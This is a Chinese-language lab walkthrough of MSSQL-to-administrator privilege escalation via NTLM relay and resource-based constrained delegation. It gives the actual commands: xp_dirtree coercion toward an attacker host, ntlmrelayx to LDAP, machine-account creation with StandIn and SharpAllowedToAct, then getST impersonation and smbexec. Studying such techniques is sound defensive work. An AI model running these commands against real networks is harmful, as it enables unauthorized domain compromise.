MSSQL结合RBCD提权
MSSQL结合RBCD提权
原理
这里使用中继的方式给他中继到ldap中去添加msDS-AllowedToActOnBehalfOfOtherIdentity
属性。默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。而在mssql当前是nt service权限所以用的是机器账户去做认证,机器账户是可以创建机器账户的。
限制
需要开启webclient服务
完全限定名(FQDN)这个可以添加dns记录来实现
中继的攻击思路
xp_dirtree
xp_dirtree
使用以下方式进行请求是通过 UNC 的触发方式同样可以对 WebDAV 进行认证,WebDAV请求去中继是不会有NTLM签名限制问题的。具体可以参考https://en.hackndo.com/ntlm-relay/
xp_dirtree '\\hostname@SSL\test' --ssl 443
xp_dirtree '\\hostname@SSL@1234\test' --ssl port 1234
xp_dirtree '\\hostname@1234\test' --http
复现
sc query webclient
查询webclient是否开启
Invoke-DNSUpdate -DNSType A -DNSName unicodesec -DNSData 192.168.92.151
python3 ntlmrelayx.py -t ldap://172.16.108.165 -smb2support --delegate-access --add-computer -debug
也可以使用
execute-assembly /Users/giaogiao/Desktop/tools/Tools/内网/StandIn_v13_Net35_45/StandIn_v13_Net45.exe --computer DESKTOP-JSMITH --make
在当前权限下添加一个DESKTOP-JSMITH的机器账户
exec master.dbo.xp_dirtree '\\evil@80\test'
触发webdav请求
下面就是拿创建的机器账户获取高权限票据,和资源委派的步骤一样
python3 getST.py -spn cifs/DESKTOP-0ND3PBE.kdc.com 'kdc.com/LLGSQUWS$:V)iU_pwJ)(tEr!l' -impersonate administrator -dc-ip 172.16.108.165
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -k -no-pass DESKTOP-0ND3PBE.kdc.com -target-ip 172.16.108.164 -debug
烂番茄(Rotten Tomato)
execute-assembly /Users/nice0e3/Downloads/StandIn_v13_Net35_45/StandIn_v13_Net35.exe --computer DESKTOP-JSMITH --make
使用当前权限添加机器账户
execute-assembly /Users/nice0e3/Downloads/StandIn_v13_Net35_45/StandIn_v13_Net35.exe --computer DESKTOP-0ND3PBE --sid S-1-5-21-879933513-2804727210-1548949402-1603
添加msDS-AllowedToActOnBehalfOfOtherIdentity
这个属性
--computer 为需要提权的用户
--sid 是添加的机器用户的sid
接下来使用该机器账户申请高权限票据
python3 getST.py -spn cifs/DESKTOP-0ND3PBE.kdc.com 'kdc.com/DESKTOP-JSMITH$:e5YnDP1kSLpgkje' -impersonate administrator -dc-ip 172.16.108.165
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -k -no-pass DESKTOP-0ND3PBE.kdc.com -target-ip 172.16.108.164 -debug
SharpAllowedToAct
也可以使用SharpAllowedToAct进行添加,需要使用原版的
https://github.com/pkb1s/SharpAllowedToAct/
execute-assembly /Users/nice0e3/Downloads/SharpAllowedToAct-Modify-main/SharpAllowedToAct/SharpAllowedToAct.exe -m giaogiao -p e5YnDP1kSLpgkje -t DESKTOP-0ND3PBE -a dc.kdc.com -d kdc.com
添加一个giaogiao的机器用户,并且设置msDS-AllowedToActOnBehalfOfOtherIdentity
属性
删除msDS-AllowedToActOnBehalfOfOtherIdentity
属性
execute-assembly /Users/nice0e3/Downloads/StandIn_v13_Net35_45/StandIn_v13_Net35.exe --computer DESKTOP-0ND3PBE --remove
参考
https://www.freebuf.com/articles/database/278397.html
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/